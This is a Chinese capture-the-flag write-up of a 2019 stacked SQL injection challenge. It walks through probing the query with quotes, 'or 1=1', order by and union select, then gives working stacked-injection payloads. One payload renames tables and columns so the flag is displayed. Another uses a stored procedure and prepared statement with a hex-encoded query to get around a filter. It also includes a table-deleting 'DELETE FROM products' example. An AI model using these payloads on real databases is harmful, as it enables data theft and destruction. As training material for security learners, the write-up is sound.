【强网杯2019】随便注

复现：  buu

 

知识点：

1. 堆叠注入：在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除
2. show databases;  show tables;  show columns from sometable;
3. 反引号在MySQL中用来标记出 SQL语句中的  数据库名/表名/列名
4. MySQL修改表名列名：      将table1的表名改为table2：  RENAME TABLE `table1` TO `table2` ;        将table表中flag列名改为id :    ALTER TABLE `table` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL; 

 

 

 

 

 

解题：

 

 

可以看到查询页面返回了一些数据

 

输入1’发现不回显，然后1’ #显示正常，应该是存在sql注入了

 

试一下1’ or 1=1 #

 

 

可以看到返回了数据

 

正常流程，order by

 

 

可以看到order by 2的时候是正常回显了，order by 3就出错了，只有2个字段

 

这时候用union select进行联合查询

 

 

返回一个正则过滤规则，可以看到几乎所有常用的字段都被过滤了

 

这时候想到堆叠注入，试一下

 

 

可以看到成功了，存在堆叠注入，

 

我们再直接show tables来查询下，试下能不能查询出表

 

 

可以看到有两张表，下面分别来看下两张表有什么字段

 

0’; show columns from words ;#

 

0’; show columns from `1919810931114514`;#

 

 

可以看到1919810931114514中有我们想要的flag字段

 

因为这里有两张表，回显内容肯定是从word这张表中回显的，那我们怎么才能让它回显flag所在的表呢

 

方法一

 

他既然没过滤 alter 和 rename，那么我们是不是可以把表改个名字，再给列改个名字呢。

先把 words 改名为 words1，再把这个数字表改名为 words，然后把新的 words 里的 flag 列改为 id （避免一开始无法查询）。

这样就可以让程序直接查询出 flag 了

 

payload:

 

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

 

最后用 1′ or ‘1’=’1 访问一下:

 

 

 

方法二

 

存储过程 + 预编译

 

 

 

 

题目要求我们 set 和prepare 不能同时使用 。所以set  @a=0x.... ; prepare ctftest from @a; execute ctftest; 就不适用了。

 

我们需要借助存储过程过渡一下  先创建个存储过程再调用

 

payload:

 

(1)show tables;

(2)select * from `1919810931114514`;

 

先执行：

create procedure `vege`(out string text(1024))

BEGIN

   SET  string= 0x73686F77207461626C65733B;

END;

;#

 

再执行：

call `vege`(@a); prepare ctftest from @a; execute ctftest;#